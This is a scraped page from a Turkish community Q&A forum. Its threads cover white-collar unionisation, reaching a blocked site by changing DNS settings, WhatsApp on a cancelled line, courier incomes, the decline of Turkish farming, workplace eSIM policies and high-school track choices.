Şartlar böyleyken, mavi yakalıların "sinema işçileri sendikası" dedi ki günlük çalışma saati 16 saati aşamaz. Bunun da 12 saati normal ücretle ücretlendirilir, 12 saatten sonrası için normal ücretin 1,5 katı ücret alınır. Bu olayın üstüne gerçekten de saati doldu mu mesela ışık şefi şalteri indirip arkasına bile bakmadan gidiyor artık.

mavi yakalıların görünüşte beyaz yakalıları da rahatlatan bu kararına en büyük itiraz kimden geldi? Patronlardan değil. Onlar tamam dedi sendikayla ters düşmemek için. Ama beyaz yakalılar, pazarlama müdürleri falan çıldırdı uzun süre. Ben çok pazarlama çalışanı duydum: "ama benim pazarlama bütçemi 2 katına çıkarmam lazım" diyen. Düşün adam kendine ait olmayan bir parayı, kendininmiş gibi savunuyor.

Şimdi diyebilirsin ki ama o bütçenin hesabı o pazarlama ekibine soruluyor çünkü o da onun stresini yaşıyor. Kardeşim o zaman sen de sendikanı kur. O üstüne gelen stresi baskıyı yönet.

Çok genel geçer bir sözdür bu, hak verilmez, hak talep edilir. Hem sayıca azsın, hem kraldan çok kralcısın, hem kendi haklarını bile umursamayacak kadar "kariyer" uğruna öz saygını ayaklar altına almışsın, hem adam gibi bir sendikalaşmaya bile gidememişsin. Senin haklarını kimse savunmaz ki?

Türkiye'de yüzbinlerce yazılımcı var mesela. Kaçı sendika üyesi?
Şöyle havalı bir yabancı şirkette işe girince hepsinin ağzı burnu kayıyor havalar civalar...

Böyle bir kitleye tabii ki kimse bir vaat sunmaz.

Mavi yakalılar daha pragmatisttir. Mavi yakalının tek çalışma motivasyonu para ve yan haklardır. Daha iyi para veren, daha iyi haklar sunan, daha iyi çalışma ortamı vaat eden işe gider. Bu siyasi olarak da böyledir. 90'larda mavi yakalılar bir seçimde ANAP'a oy veriyor, bir sonraki seçimde daha iyi bir vaat varsa DSP'ye oy veriyor. Adam son derece haklı olarak önce kendi cebini ve yaşamını düşünüyor.

Beyaz yakalılarda böyle bir öz bilinç yok. İş anlamında beyaz yakalıların ağzına bir parça bal çalınıyor: "KARİYER". Bu hikayeyle bu adamları istediğin gibi güdebilirsin. Ekşi duyuruda bile çok başlık var böyle, "daha büyük şirketten iş teklifi aldım, maaşı ve yan hakları daha az ama kariyerim için daha iyi olacak, gideyim mi?". Bu adam sırf kariyeri uğruna iş yerinde her türlü haksızlığı sineye çekebilir. O yüzden de sırtına binerler. Siyaseten de böyle.

Çantada kekliktir bu kitle. Çünkü siyasette de ağzına çalışan balın adı şu: Yaşam tarzı... Bak biz seçilmezsek artık rahat rakı içemezsin, mini etek giyemezsin dedin mi bu adamın oyunu alırsın. Ya da biraz muhafazakar bir beyaz yakalıysa biraz korkuttun mu tamam ceptedir.
0
anten
(05.05.23)
ağzına sağlık muhalif biri olarak ben de tam olarak aynı şeyi düşünüyordum. maaşlı çalışan bir keriz olarak bana hiç bir partinin bir adet vaadi yok. aksine, asgari ücrete zamlar, eytler, memur zamları vs gibi durumlar için yaratılması gereken kaynaktan dolayı büyük bir enflasyon gerçekleşecek ve sonucunda biz bu enflasyon zammı kadar maaş zammı alamayacağız. yani aynı tas aynı hamam. bu ülkenin vasıflı mal üreten ve çilesini çeken kesimi için teşvik ve vaatler sıfır. gelir vergisi dilimlerini düzenleme vs gibi bir konu bile kimsenin aklıma gelmiyor.

sonuç olarak trnin mevcut vizyonu bu, devlet yardımlarıyla yürütülen bir dar gelirli gemisi. herkes ya devlete çalışacak, ya devletten para alarak yaşayacak. beyaz yakalı kerizler olarak bizim oyumuz zaten cepte olduğu için bizi düşünen yok.
0
roket adam
(05.05.23)
yükü mükü geç. hayattaki en büyük zenginlik özgürlük ve demokrasi. bunlar olmadıktan sonra sadece maddi zengin olursun. özel sektördeki çalışan yükü sırtlıyor mu? evet ama zaten özel sektörün şartları "genele yayarsak" daha iyi. bu seçim öyle şartları bi düşüneyim seçimi değil. bi taraf iyileştirme yapıcaz diyor öteki oy veren gaydir diyor allahsızdır teröristtir diyor. hür iradenizle oy kullanın.
0
KidLazer
(05.05.23)
beyaz yakanın ucuz avrupa tatili, konser ve ucuz bira dışında bir talebi mi var?
varsa bu taleplerini iletecek bir görünürlülüğü, gücü mü var?
ofisler ben işçi değilim sendika neymiş öegh diyen tiplerden geçilmiyor.
siyasetçilerin önünde sihirli küre yok baksın aaa bu ofis insanlarının da şöyle bir sorunu varmış dur onu da düşünelim diyemiyorlar, kusura bakmayın.
araba fiyatları düşecek, dolar düşecek de zaten beyaz yaka oltaya geliyor dahasına ne gerek var?
0
Whily
(05.05.23)
(5)

Vpn siz sözlüğe girme yöntemi var mıdır?

trejemu
Sb
Sb
0
trejemu
(08.03.23)
Türkiye'yi terkedip başka ülkeden girebilirisiniz.
0
Leonardo~Da~Vinci
(08.03.23)
ben dns ile giriyorum.
0
lancelot du lac
(08.03.23)
eğer kullanıyorsanız sözlüğün resmi mobil uygulamasına güncelleme geldi. vpn'siz açılıyor artık nasıl etrafından dolandılarsa :)
0
thedepressed
(08.03.23)
adguard dns ve başka birkaç dns ile erişilebiliyor.
mobil uygulama verileri api.eksisozluk2erty.business adresinden çekiyor.
0
Whily
(08.03.23)
Modemin dns ayarlarını değiştirip girebilirsiniz.
0
John Bloor
(09.03.23)
(4)

İptal olan telefon hattımla Whatsapp kullanabiliyorum. Bu nasıl oluyor?

santimantal
Hattım, TL yüklemediğim için iptal edildi. Fakat o numara ile kullandığım Whatsapp'ı halen kullanabiliyorum. Mesajlaşmak, konuşmak hep mümkün.Whatsapp'tan çıkış yapsam muhtemelen bir daha giremem, değil mi? Çünkü mesela SMS ile onay kodu gönderse alamam.Numarayı bir başkası satın alıncaya kadar mı k
Hattım, TL yüklemediğim için iptal edildi. Fakat o numara ile kullandığım Whatsapp'ı halen kullanabiliyorum. Mesajlaşmak, konuşmak hep mümkün.

Whatsapp'tan çıkış yapsam muhtemelen bir daha giremem, değil mi? Çünkü mesela SMS ile onay kodu gönderse alamam.

Numarayı bir başkası satın alıncaya kadar mı kullanabileceğim bu no. ile Whatsapp'ı?

Eğer bir kez bu hesaptan çıkış yaparsam ya da bir şekilde kendiliğinden olursa acaba tekrar giremeyeceğim için mesajlarımı da bir daha göremez miyim?
0
santimantal
(28.01.23)
Çıkış yaparsanız bir daha giremezsiniz. Numara kapansa da wp açık kalır.
0
olaylar olaylar
(28.01.23)
cevabını bilmiyorum. ama en sonuncu sorunuza cevap verebilirim. whatsapp sohbet yedeklerini günlük olarak alın. android kullanıyorsanız google drive'a, ios kullanıyorsanız da icloud'a yedekleyecektir. her ikisi için de şurayı okuyabilirsiniz:

faq.whatsapp.com
0
m e b
(28.01.23)
Abi yedek almak, web sürümünden giriş yapmak vs uğraşırsan sms sorduğu an patlar. Ayarları hiç ellemezsen sonsuza kadar kullanırsın.
0
baba553
(28.01.23)
birkaç aya başkasına satılır tel no. o wp kurduğu zaman erişimin kesilir.
tel no değiştirebilir, şimdiki wp ye şifre koyabilirsin.
0
Whily
(28.01.23)
(9)

Kuryelerin 20-25 bin kazandığı doğru mu?

duchess jessamine
sb
sb
0
duchess jessamine
(18.01.23)
Doğru
0
pavlis
(18.01.23)
Doğru.
Hatta daha yüksek paralar da duyacaksınız.

Duyacağınız bu yüksek paralardan vergi kesintisi, Bağ-Kur ödemesi, defter vs. parası gibi paraları çıkarmak gerek.
KDV de ödüyorlar sanırım.
Ayrıca yakıt ve motosikletin satın alma masrafı, eskimesi ve çok sık kullanılan bu aracın tamir ve bakımını da göz önüne alın.
Sadece çalıştıkları zaman kazanabiliyorlar. Yarın kaza yapıp kolunu kırsa ve 2 ay motosiklet kullanamazsa hem 2 ay para kazanamayacak hem de hastane masraflarını kendisi karşılamak zorunda kalacak.

Bütün bunların dışında bir de restoran, acıkmış müşteri, trafik ve Trendyol müşteri temsilcisi ile boğuştuğunu da göz önüne alın.
Çok zor bir iş.
0
michael_knight
(18.01.23)
daha bile çok olması lazım
marketçiler tüm poşeteri aynı anda getirmeye çalışıyor biraz da zorunda park sorunları ve zaman yüzünden
ciddi fiziksel yük, Allah korusun düzeltilmesi zor omurga sorunları
0
bir soru sorcam
(18.01.23)
Bir yerde kalem kalem hesaplanmisti, gelir vergisini, sigortasini, benzinini, motor bakim, lastik, motorlu tasitlar vergisi vb tum masraflari dusunce saatlik olarak asgari ucrete yakin bir miktar kaliyor ellerinde malesef.
0
sertac akin
(18.01.23)
20-25 bin kazandıkları doğru ama net kar değil. Yani 20-25 bin ciro yaptığını ve masraflar düşüldüğünde yarısının ceplerine kaldığını düşünün.
0
halitkin
(19.01.23)
evet. hatta daha fazlasını yapanlarda var. fakat net maaş değil bu. zaten neredeyse yarısı giderlere gidiyor.
0
debian
(19.01.23)
getir, yemeksepeti iyi veriyor mesela en kötüsü trenyol herhalde. iyi dediklerim en son paket başına 30 muydu neydi. çoklu pakette değişiyor, mesafeye göre değişiyor, saate göre değişiyor vs.
ya kendi motorun olacak ya bunlara çalışan taşeronlara gireceksin. ilki iyi ikinci baya kötü. firmalar doğrudan istihdam etmemeye çalışıyor işçi muhabbetlerine girmemek için. bugün 14+ saat çalışan kendi motoruyla rahat 50k yapar. ama bunda benzin, yemek, motor giderleri vs hiçbir şey yok. onları düşmek lazım. günde 14+ saa motor sürüp de kaza yapmayanıyla tanışmadım. kaza yaptın, hastalandın, işin çıktı gene para yok vs. ya da depo artık seninle çalışmak istemiyor. yapacağın bir şey yok. herkes geliri konuşur da kimse giderini zorluğunu konuşmaz böyle şeylerin.
0
Whily
(19.01.23)
dostum cok calisirsan cok para kazanirsin. kapitalizm 101.
0
baldur2
(19.01.23)
Almanya’da haftalık 40 saate 2100 falan alıyorlar
0
aynose
(19.01.23)
(12)

Türkiye'nin tarımı üretimi neden çöktü?

ahm1
Sogan, patates bile yetistir(e)mememiz, serbest ticaret anlasmalari yuzunden mi?
Sogan, patates bile yetistir(e)mememiz, serbest ticaret anlasmalari yuzunden mi?
0
ahm1
(18.01.23)
ithalatı yapan yandaş olunca böyle oluyor.
0
gabe h coud
(18.01.23)
para etmiyor. değmiyor. bazı ürünler için alıcı yok.
kaç ton limon çöpe gitti bu yüzden
0
jelly bear
(18.01.23)
Çökmekten kastınız nedir mesela? Üretilen ürünlerin pahalı olması mı? Yoksa ürün üretilmemesi mi? (aslında yetiştirmememiz de demişsiniz)

Tarım konusunda en büyük hatamız, bu işi profesyonel firmaların değil de köylünün yapmaya çalışmasıdır. Bu nedenle de hem verim düşük hem de maliyet yükselmektedir.

Sanıldığının aksine coğrafyamız aman aman tarıma elverişli bir coğrafya değildir, yanlış hatırlamıyorsam verimli topraklarımız ülke yüzölçümüne oranla %23 gibi bişeydi.

Nüfus 30-40 milyonken çok sorun değildi bu, ama nüfus oldu 100 milyon, tarım alanları da genişlemedi.

Mesela hızlıca bi baktım şimdi;

2012 yılında Buğday olarak 7.529.000 hektar ekilmiş, 2020 yılında 6.922.000 hektar
2012 yılında Arpa olarak 2.749.000 hektar ekilmiş, 2020 yılında 3.097.000 hektar
2012 yılında Ayçiçeği olarak 605.000 hektar ekilmiş, 2020 yılında 729.000 hektar
2012 yılında Patates olarak 174.000 hektar ekilmiş, 2020 yılında 148.000 hektar
2012 yılında Soğan olarak 73.000 hektar ekilmiş, 2020 yılında 68.000 hektar
2012 yılında Çay olarak 76.000 hektar ekilmiş, 2020 yılında 83.000 hektar

Uzatmaya gerek yok, aşağı yukarı toplam ekilen pek değişmemiş ama yer değiştirenler olmuş.

Ülkede tarıma elverişli olup da boş kalan tarla yoktur, çünkü sahibi ekmese de mutlaka birileri kiralar (icar) ve eker.

Verim konusunda gelişmiş ülkelerin gerisindeyiz, o su götürmez bir gerçek. Ama en büyük nedenlerden biri bilgisiz köylü maalesef.

Ülkemizde tarıma elverişli topraklardan elde edilen ürünler tüketimimize yetmediği için mecburen ithalat da yapılıyor.

İthalatın bir sebebi de yeterli ürün değil de fiyat oluyor, mazot gübre işçilik maliyetlerinden dolayı yerli üretim ürün pahalıya mal olunca, dışardan ithal ucuza ürün de bulunursa iç piyasada sıkıntıya giriyor. Üretici mağdur olabiliyor, ama bunda üreticinin suçu yok, yönetimin plansızlığı maalesef.

Ama şu da var, örtü altında çok kaliteli ürünler yetiştiren üreticiler de var. Fakat iç piyasaya vermiyolar, çünkü ihracatda çok iyi para kazandırıyor bu ürünler.

Aslında memlekette yetişen en güzel domatesi meyveyi vs dışarıya satıyor, dışarıya satılmayacak kadar kalitesizleri biz yiyoruz :)
0
John Bloor
(18.01.23)
çiftçi kazanamadığı için. yaptığı işe değmiyor da denilebilir. ailesi çiftçilikle uğrayan arkadaş böyle demişti.
0
romario
(18.01.23)
İşte, ciftcinin zarar etmesinin nedeni sanirim ki serbest ticaret anlasmalariyla butun dunya tarimini buyuk sirketlere birakma amaci: www.ciftcisen.org
0
🌸ahm1
(18.01.23)
Çiftçilerinin çocukları tarımla uğraşmak istemiyor. Bu da sebeplerinden bir tanesi. Geçen yaz köydeydim hp orta yaş vardı köyde. Köyün gençleri yok.
0
komando kani var bende
(18.01.23)
Çoğu şeye katılmak ile beraber şunu da söylemek istiyorum; Türkiye'de bir yerli/milli bilinci oluşturulmadigini, bunun üzerine çalışılmadigini ve denildiği gibi bunun profesyonel yönetilmedigini düşünüyorum.

Ben Fransa'da misal Fransız ürünü hatta fransizi geçtim yerel bulunduğum bölgede yetiştirilen ürünü almaya çalışıyorum. Marketlerde her meyve sebzenin hangi ülkeden geldiği yazıyor. Bulunduğun bolgedense yerel olduğu özellikle belirtiliyor. Aynısı peynir, süt, bal, yumurta, et vs her şeyde var. Bu noktada insani parasi yetiyorsa oluşturulan bilinç ile bunları almaya yöneltiyor. Misal bir dönem Fransa'da yağmur vs sebebiyle sıkıntı vardı ve Carrefour fiyatları artirmadan sadece yerel üretici ürünlerini sattığını belirtiyordu destek olarak.

Ben birkaç kere bu yerel ureticilerden de aldım. Adamlar profesyonel. Organikse organik sertifikası var, yerelse yerel olduğunu kanitlayan sertifikaları var. Düşün yani ekmekte bile Fransız unu kullanıldığını özellikle belirtiyorlar.

Ben Türkiye'de bu bilinci görmüyorum. Ki yerel denilen ürünlerin menseine bakiyorsun Asya'dan ithal çıkıyor falan...

John bloor dediği gibi; bu işler sırf köylüye birakilacak kadar basit değil.
Buna ek olarak giderlerin artması, karin azalmasi sebebiyle çoğu kişinin bag, bahce satıp sehirlerde ev/bina alması gibi olaylar da var.

Yoksa Türkiye'de çok kaliteli ürünler var ama bunu halkın alacak gücü pek kalmadı zaten ve düzgün destek/planlama/marketing de yok gibi.

Misal burada da pazar gibi yerler var ama çoğu üretici, aracı değil. Adam 30 km ötede ceviz üretip satıyor, peynir yapıp satıyor. Bir de bu var gibi; büyük sehirlerin yakınında üreticinin halka ulaşması sorunu var. Kooperatiflerin de çok iyi yonetilmedigini düşünüyorum.
0
logisticsmanager
(18.01.23)
Bu arada denildiği gibi Türkiye'de köy hayatı ile şehir hayati farklı. Yani ben Fransa'da çok ufak yerleri gezdim, burada yasanmaz/buranin insaniyle ugrasilmaz gibi görüşüm olmadı. Bari var, kafesi var, restoranı var vs. Yani Türkiye'deki gibi çok değişen bir hayat yok (her köy böyle değil ama çoğu böyle)
0
logisticsmanager
(18.01.23)
"Köylü değil de şirket yapsın" argümanı hatalı, küçük ölçekli tarım hemen her zaman hem daha verimli, hem de çevreye daha az zararlı (hatta faydalı). Herkesin evinin bahçesinde 3-5 tavuk, bi kaç ağaç meyve, az buçuk sebze falan olsa en verimlisi ve faydalısı o olurdu. Ama apartmanlarda yaşıyoruz genelde.

TR'de "çiftçi eğitimi" ve tohum verimlileştirme çabaları fena değil. Ben sevmiyorum ama yerli modifiye tohumlar verimli yani baya. Bişey dikmek istiyorsun ama bilmiyorsun, gelip anlatıyorlar, bahçenin analizini yapıyorlar bedavaya, tohum fide falan veriyorlar vs. O işler kötü değil. Maddi destekler çok iyi değil ama.

Benim bahçe vardı, sattım geçen sene. Yani yine "para kazandırıyor" ama artık iyice değmeyecek hale geldi. Geçen sene kilosunu 6 liraya sattığım şeye 10 lira teklif ettiler, gübre, işçi, yakıt, elektrik vs. masrafı uçtu gitti, bi anlamı yok yani. 20 liraya satsam da insanlar alamıyor.

Bahçeyi satıp ev alıp kiraya versem üretim yapmadığım halde daha çok kazanıyorum yani, öyle saçma bi durum.

Bi de en büyük sıkıntı aracılar. Çoğu üründe önce ürünü veriyorsun, adam gidiyo satıyo parasını alıyo, sonra gelip sana 6 ay sonra 1 sene sonra ödeme yapıyor. E arada budaması var, sürmesi var vs. bi sürü iş, cebinden ödüyorsun. Eskiden enflasyon yoktu ama şimdi var, parayı alana kadar zaten değerinin yarısını kaybediyor, ki senin o parayla bir sene sonrayı da finanse etmen gerekiyor.

Adamın da tek yaptığı nakliye aslında. Yani ben direkt marketle anlaşıp satabilirim de, ama yasak. Üretici olarak şehirler arası nakliye yapamıyorum. Üreticinin direkt son kullanıcıya (çiftçi pazarı gibi) ya da en azından marketlere satış yapmasının önündeki engeller kaldırılsa sorunların çoğu düzelir diye düşünüyorum.

Bu bahsettiğin ithalat olayı da sıkıntı. Bende kivi bahçesi vardı işte, bi sene bakıyoruz fiyatlar baya yüksek, geçen seneden depolarda falan bişey kalmamış, üretim düşmüş şu bu oo iyi derken devlet çat diye İran'dan ithalata izin verdi, yarı fiyatına sattık mecburen. Devletin çiftçiyi "mutlu etme" gibi bi derdi yok, aracıları kazanacaksa acımıyor. İran kivisi de bizdekinden kötü, ama bizim millet ucuz olduktan sonra başka bişeye bakmıyor.

Yaş muhabbeti yapılmış, ben 30 yaşındayım. Çiftçilik yapayım dedim ama yapılacak halde değil işte. Bi de şu çağda illa ki köyde yaşaman gerekmiyor, hemen her şeyi (sulama, gübreleme vs) otomatize edebiliyorsun zaten, telefondan yapıyorsun. Dedemin 1 ayda yaptığı işi 2 günde yapabiliyorum. Haftasonu gidip hallediyordum her şeyi.
0
plutongezegendegilmi
(18.01.23)
Çünkü atılan taş, ürkütülen kuşa değmez hale geldi.
0
halitkin
(19.01.23)
Yönetim öyle istedi. Yönetimi yönetenler öyle istedi.
0
muhayyer divan
(19.01.23)
bu çorak, ot bitmez coğrafyaya kim bereketli su zengini ne eksen yetişir falan dedi önce onu bulmak lazım. ama bu olayın tek bir sebebi yok. sebepleri çok ve çok çetrefilli. mesela senin çiftçinle ab ya da kuzey amerika çiftçisi bir değil. seninki halen orta çağ köylüsü tadında. ama uyum sağlamak istediğin ab mevzuatını alıp buraya koyunca olmuyor. küreselleşme de ayrı dert. baştakiler hadi neyse de üretici dediğin adamın da çok farkı yok zihniyet olarak. bi ton şey var ya gecenin bu saatinde can sıkmaya değmez. ya bak aklıma geldi. kooperatif olayının en iyi uygulandığı yer abd olabilir. sorsan bizim köylüye kooperatif halen komünist işi. ya da ne bileyim ulusal süt konseyi denen bir şey var neden var ne üretici biliyor ne firmalar. geçen yıllarda devlet inek veriyordu kadınlara. para yok ama işte şu kadar yıl kesmeyeceksin, satmayacaksın yavrulara şöyle bakacaksın vs şartları var. bizim kadınların herhalde %80 falan almadı. neden deyince de kim uğraşacak diyorlar. lul. yani beleş inek lan. ben gittim annemin adına teyzemin adına aldım bağladım akrabının yere. bakım parası falan anlaştım. hayvanlar çifter çifter yavruladı şansıma. allah için akraba da iyi baktı. belki biraz tokatlamıştır da bilmiyorum ama çok dert değil. sonra köye gittiğinde sen ne akıllıymışsın oluyor. lan olm yani ben aracıyla aldım sizin kendi damınız var bildiğiniz iş siz de yapardınız ama yok anca müge anlıya malzeme üretsinler. kuzenim var o da benim gibi. icar kovalıyor. en f/p ürünü kovalıyor. komşu tarladaki dayı buğdayı daha tarlada üç kuruşa satıp pavyonda kumarda eziyor üç günde. benim kuzen depoda tutuyor. en iyi fiyatı bekliyor. sorsan ama benim kuzen köyün kötüsü.
0
Whily
(19.01.23)
(13)

E-Sim kart olayı

nickimin hakkini veremedim
Selamlar,Şirket e sim kart kullanımına geçeceğini duyurdu.Yani şirket hattını sanal bir sim kart ile bizim telefona tanımlayacaklarmış, e ben bunu istemiyorum pintilik bu. Soran bile yok telefonunu kullanabilir miyiz diye herkes de doğal bi şey gibi karşılıyor. Çıkıntılık yapmak da istemiyorum ama k
Selamlar,

Şirket e sim kart kullanımına geçeceğini duyurdu.

Yani şirket hattını sanal bir sim kart ile bizim telefona tanımlayacaklarmış, e ben bunu istemiyorum pintilik bu. Soran bile yok telefonunu kullanabilir miyiz diye herkes de doğal bi şey gibi karşılıyor. Çıkıntılık yapmak da istemiyorum ama kartlar çıkınca haa ben istemiyorum ki böyle telefonumda özel şeyler var belki virüs var şirketin gizli bilgilerini riske atamam diyeceğim.

Siz olsanız kabul eder miydiniz böyle bi şeyi ben mi abartıyorum?

Bir de telefonum bu e sim kart şeyini destekler mi nerden kontrol edebilirim? Desteklemiyor eski falan diye geçiştirdim sonra IT aradı modeli sordu....
0
nickimin hakkini veremedim
(17.01.23)
abartıyorsun. telefon desteklemiyorsa orası ayrı. şirket çözüm bulur. Google'dan telefon modelinizi girerek e sim destekleyip desteklemediğini öğrenebilirsiniz.
0
Leonardo~Da~Vinci
(17.01.23)
iphone 14 ler amerikada fiziksel sim kartsız satılmaya başladı, bir iki seneye fiziksel sim kartı oldukça azalacak zaten relax
0
sipsiyah
(17.01.23)
Sim kartın sanal olması problem ettiğim kısım değil. Şirket bana ait bir eşyayı(telefonum) kendisine de tahsis ediyor.

Yarın otomobiliniz günde 50km mesafeyi destekliyor e hadi şirkete kendiniz gelin de diyebilir.

Ben her yurtdışına çıktığımda roaming kendi hattımdan mı şirket hattından mı gerginliği yaşayacağım tadilde, gecenin köründe şahsi telefonum yine açık olduğu için ulaşılabilir olacağım gibi gibi...
0
🌸nickimin hakkini veremedim
(17.01.23)
haklısın da bizim millet köle ruhlu olduğu için anlamakta zorlanıyor.
authenticator kurulması lazımdı bizde de neredeyse hiçbir yabancı çalışana kurduramadık. benim cihazım çok istiyorsanız cihaz alın ya da başka yol bulun dedi elemanlar. bizimkilere authenticator kuracaksınız üstüne de aylık maaş kesintisi olacak desek onu da kabul edecekler neredeyse. ben işe akılsız telefonla gidiyordum. wp falan için şirket telefon aldı. onu da mesaiden sonra sessizde tutuyorum sadece belli kişilerden çağrı/mesaj gelirse çalıyor o da acil durum listesi gibi bir şey.
0
Whily
(17.01.23)
normal sim'den hiçbir farkı yok

normalde hattı ayrı bir telefonla brlikte vermeleri lazım
ama bu şekil çift telefon taşımaktan iyidir
stres yapma bence
0
bir soru sorcam
(17.01.23)
bence de cikintilik yapmak olmus ama iki telefon tasimaktan iyidir.
e-simi kapatabiliyorsunuz bu arada. hangisi hangisi diye karistirmazsiniz.
0
supergirl
(17.01.23)
Burada sizin sıkıntınız konforsa ikinci telefon taşımak daha sorunlu bence. Eğer toptan "Ben şirket telefonu da, hattı da istemiyoprum, mesai saatlerinde masamdaki telefondan ulaşsınlar, mesai dışında da ulaşmasınlar" diyemiyorsanız E-Sim daha mantıklı bir çözüm.
0
salihdt
(18.01.23)
cevap veren arkadaslar biraz yanlis anliyor adamin sorunu e-sim yada konfor degil, sirketin bedel bile ödemeden adamin telefonunu kiralamasi gibi bir durum var ve bu kisiyi rahatsiz ediyor.


e-simden cok anlamiyorum benim saatte var sadece ama o da kapatilip acilabiliyor sanirim isten sonra kapatabilirsiniz sanirim yada sessize alabilirsiniz ama tabi her sabah aksam bunlari yapmalisiniz ve sinir bozucu olabilir.
0
c1b2k3
(18.01.23)
Abartmıyorsun, şirket pinti.

Normalde sana telefon ve hattı birlikte verir, ondan sonra sen "2 telefon taşımak istemiyorum" dersen e-sim'i kendi telefonuna tanımlayıp şirketin telefonunu iade edersin, olur biter.

Benim de çalıştığım bi yer bana böyle şirket hattı vermişti ama telefon vermedi. Kullanmadım ben de :) Telefon vermedikleri için bişey diyemediler. Sizinkiler uyanıklık yapıyor işte.
0
plutongezegendegilmi
(18.01.23)
yapmayın arkadaşlar işyeriniz sizin şirket hattı kullanmanızı istiyorsa öpe öpe telefon da tedarik edecek, bunun usulü budur. "sende nassı olsa telefon var yeaaa, ona tanımlarız" o ne öyle ya çapsızlığa bak.
işin telefonların teknik olarak yeterli olup olmadığı kısmına hiç girmiyorum bile. mesela bir de bu sizin telefonunuzu ekstra eskitecek, sizin bu zararınızı tazmin etmek üzere bir planı var mı şirketin? bir süre sonra telefonunuzda bundan dolayı sorun yaşarsanız telefonunuzu yaptırmak/yenilemek de sizin sorumluluğunuzda mı olacak?
kesinlikle karşı çıkılması gereken bir durum, ne köle ruhlu olmuşuz. teknolojinin kolaylıklarını da hep sadece bizim şahsi faydamıza gibi düşünüyoruz.
0
gkhncnzdgn
(18.01.23)
Konunun buraya nasıl geldiği önemli.
Ek yan hak olarak telefon faturanızı biz ödeyelim diyorlarsa sıkıntı yok, ama iş icabı şirket telefonuna ihtiyacınız var, al sana hat, kendi telefonunu kullanırsın diyorsa pintilik. Bunu kabul etme zorunluluğunuz olmamalı.
0
burfak
(18.01.23)
Şu an normal sim ve telefon var sende şirket telefonu geri alacak Senin şahsi telefonuna çöküyorsa haklısın
Şirket e-sim ile telefon vermeli
0
basond
(18.01.23)
Şirket telefon vermiyor mevcut telefonlar çok yavaş diye şikayet oluyormuş, samsung a35 falan vermişler sanırım üçüncü senesi insanlar da kullanılmaz hale geldi demiş. Ben şirkette yeniyim bana hiç vermediler. Çözüm olarak da şahsi telefona e sim olayını düşünmüşler telefon dağıtmak istemedikleri için.
0
🌸nickimin hakkini veremedim
(18.01.23)
(3)

erman yaşar - drone yayını gerçek mi?

fatihkkk
https://www.youtube.com/watch?v=FCVf80_gk3c&t=33sşu link'teki yayın gerçek mi? yani bu yorumlar ciddi ciddi ulusal kanalda yapıldı mı yoksa sonradan editlenip komikli vidyo mu yapıldı?
www.youtube.com

şu link'teki yayın gerçek mi? yani bu yorumlar ciddi ciddi ulusal kanalda yapıldı mı yoksa sonradan editlenip komikli vidyo mu yapıldı?
0
fatihkkk
(08.01.23)
Kim bunlar tanımıyorum ama baya iyi iş çıkarmışlar. Paralı tv platformlarından birinin çok izlenmeyen kanallarından biri belli ki. Drone yarışını zaten neden ciddi bir şekilde anlatasın ki. Kağıt uçak ligi esprisi doğaçlama akla gelecek bir şey değil, baya hazırlanmışlar. Sevdim ben.
0
IncredibleMau
(08.01.23)
Gerçek, Londra Merkez'de defalarca konuşuldu. Erman yaşarın eurosportta daha bunun gibi bir sürü troll yayını var
0
birmilyonunvarmi
(08.01.23)
Whily
(08.01.23)
(18)

lisede alan seçmek

0zlem
15 yaşındaki kız çocuğu için hem para hem kariyer için en mantıklı alan sizce ne olur?ben dil diye düşünüyorum ama bu konuda daha tecrübeli arkadaşlardan fikir almak isterim. teşekkürler.edit: arkadaşlar yapmayın siz 15 yaşınızda en mutlu olacağınız alanı biliyor muydunuz? kimse bizi yönlendirmedi,
15 yaşındaki kız çocuğu için hem para hem kariyer için en mantıklı alan sizce ne olur?

ben dil diye düşünüyorum ama bu konuda daha tecrübeli arkadaşlardan fikir almak isterim. teşekkürler.

edit: arkadaşlar yapmayın siz 15 yaşınızda en mutlu olacağınız alanı biliyor muydunuz? kimse bizi yönlendirmedi, birbirimizi kandırmayalım.
0
0zlem
(27.12.22)
En mantıklısı nasıl dil oluyor. Dil öğrencileri matematik, geometri bilmeden lise bitirir. Fizik, kimya, biyoloji görmezler. 4 yılın sonunda çocuk mühendis olmak istese en küçük alt yapısı bile olmaz. Bu ülkede KPSS ile şoför olarak atanman için bile matematik bilmen gerekiyor. Mümkünse fen bilimleri seçsin. İngilizcesini ders alarak, kendi çalışarak geliştirsin. Zaten dil bölümlerinin puanı genel olarak yüksek değil. 4 yılı harcamaya değmez. Ama çocuğa ne istediğini sormak ve yatkınlığı olup olmadığını belirlemek gerekiyor.
0
dissendium
(27.12.22)
@dissendium kendisini de sordum tabi ama takdir edersen ki kafası karışık.
0
🌸0zlem
(27.12.22)
en mutlu olacağı sevdiği alan neyse o tabiiki.
0
jimjim
(27.12.22)
neye yatkınsa onu seçsin.

zorlama bir şey olmuyor. zorlama derken iyi değilse fen bilimlerinde sonra da zar zor okur ortalama bir yere girer. trde belli başlı mühendislikleri top 5 üni dışında okusan ne okumasan ne zaten (istisnalar hariç). tabi sadece mühendislik yok sağlık bilimleri hayali varsa kesin fen bilimleri seçsin. ayrıca bu arada matematiği sadece fen bilimleri okuyanlar bilmiyor. sözel veya dil seçmedikçe matematik hayatında olcak zaten.

ha gidip sırf yatış yapacağım diye dil, ea falan da seçerse potansiyelini harcar çünkü oralardan zaten artık 1 2 meslek dışında hiçbir şey olmuyor.

dil konusuna gelince yabancı dil zaten zorunluluk herkes biliyor bilecek. hobi niyetine okusun onu sonra.


edit: @0zlem mutlu olduğu alan değil, yatkın olduğu alan. 15 yaşında fizikten ne kadar çakıp çakmayacağını az çok anlar çocuk bence.
0
AlsterWasser
(27.12.22)
Zaten sorun da burada. Kararlar değişiyor. Çocukların mümkün olduğunca farklı dersler görüp dolu bir lise hayatı geçirmesi gerekiyor. Bu sayede neyi sevdiğini, neyi sevmediğini keşfedebilir. Bu alan konusu eskiden bir sorundu. Çünkü üniversite sınavında katsayı problemi vardı. Katsayı uzun süre önce kaldırıldı. Artık herkes istediği sınava girebiliyor. Önceden alanı sayısal olan biri sözel bir bölüm tercih ettiğinde puanı düşüyordu. Alan konusu artık çağa uymayan bir şey. Bilgi çağında ne kadar bilgiye sahip olursa o kadar değerli. İstediği bölüme karar verene kadar tarih de öğrenmeli, coğrafya da öğrenmeli. Ancak böyle kültürlü biri olabilir.
0
dissendium
(27.12.22)
Sayısal seçsin. Başarısız olursa sözele ya da dile geçer.
0
baba553
(27.12.22)
Para ve kariyer için dil şart. Ama dil başlıbaşına bu devirde bir işe yaramaz. Dil, yanlış seçim olur yani.

